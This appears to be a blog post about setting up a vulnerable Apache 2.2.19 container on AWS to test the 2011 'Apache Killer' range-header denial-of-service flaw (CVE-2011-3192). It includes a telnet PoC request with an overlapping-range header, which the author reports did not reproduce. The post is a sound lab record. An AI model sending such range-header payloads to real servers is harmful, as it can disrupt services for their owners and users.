我在AWS上尝试使用Apache Killer
简而言之
有人需要一个用于测试Apache Killer的Apache 2.2.19环境,并在AWS上创建了Docker容器。Apache Killer是指利用2011年公开的Apache HTTP Server中存在的漏洞(CVE-2011-3192)进行DDoS攻击的工具的总称。原来它不是漏洞本身,而是工具的总称。
任务内容
预先准备
我们事先已经执行了以下操作:
– 创建了AWS帐户
– 在工作机器(kali)上安装了docker-machine
另外,我们根据URL(※1)进行了预先准备,创建了Docker镜像并将其推送到DockerHub。
创建Docker容器
我是根据网址(※2)创建了一个用于AWS的Docker容器。
首先,在工作机上我在AWS上创建了一个名为aws-sandbox的EC2实例。
// アクセスキーの登録
$ mkdir ~/.aws
$ vi ~/.aws/credentials
[default]
aws_access_key_id = XXXXXXXXX
aws_secret_access_key = XXXXXXXX
// インスタンスの作成
$ docker-machine create --driver amazonec2 --amazonec2-open-port 8888 --amazonec2-region ap-northeast-1 aws-sandbox

在作业机上执行命令,在实例上获取Docker镜像。
// 環境変数を設定
$ eval $(docker-machine env aws-sandbox)
// インスタンスを確認
$ docker-machine ls
NAME ACTIVE DRIVER STATE URL SWARM DOCKER ERRORS
aws-sandbox * amazonec2 Running tcp://54.95.XX.XXXX:2376 v19.03.8
// インスタンス上でDockerイメージを取得しコンテナを生成。
$ docker $(docker-machine config aws-sandbox) run -d -p 8888:80 --name apachekiller stcmjp/cve-2011-3192:1.0
连接到实例后,可以确认Docker容器已生成。容器在生成后立即停止。
// AWS上のインスタンスに接続
$ docker-machine ssh aws-sandbox
// コンテナの状態を確認
$ sudo su -
# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
stcmjp/cve-2011-3192 1.0 db5ddb6a43bb 14 hours ago 1.44GB
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9ca518ad305c stcmjp/cve-2011-3192:1.0 "/bin/bash" 8 minutes ago Exited (0) 8 minutes ago apachekiller
继续在实例上启动容器。
// コンテナを起動し接続
# docker run -i -t -p 8888:80 -t stcmjp/cve-2011-3192:1.0 /bin/bash
// Apacheの起動
[root@b3230326486e /]# /etc/init.d/httpd start
您可以通过操作计算机上的浏览器,连接到 http://54.95.XXX.XXX:8888/index.php。

漏洞验证
在准备就绪的情况下,我将从工作机器上参考URL(*3)并尝试进行PoC。
- リクエスト
# telnet 54.95.XXX.XXX 8888
Trying 54.95.XXX.XXX...
Connected to 54.95.XXX.XXX.
Escape character is '^]'.
GET /index.php HTTP/1.1
Host: 54.95.XXX.XXX:8888
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30
- レスポンス
HTTP/1.1 200 OK
Date: Sat, 11 Apr 2020 06:07:42 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/1.0.1e-fips DAV/2 PHP/5.3.5
X-Powered-By: PHP/5.3.5
Transfer-Encoding: chunked
Content-Type: text/html
哎呀?没能再现。orz
如果存在漏洞,响应代码应该是 HTTP/1.1 206 Partial Content,但是时间不够,所以这次就到这里了。
如果有时间的话,会进行更详细的调查。
请查看链接
-
- Docker的使用方法备忘录
-
- Docker文档
- 原型验证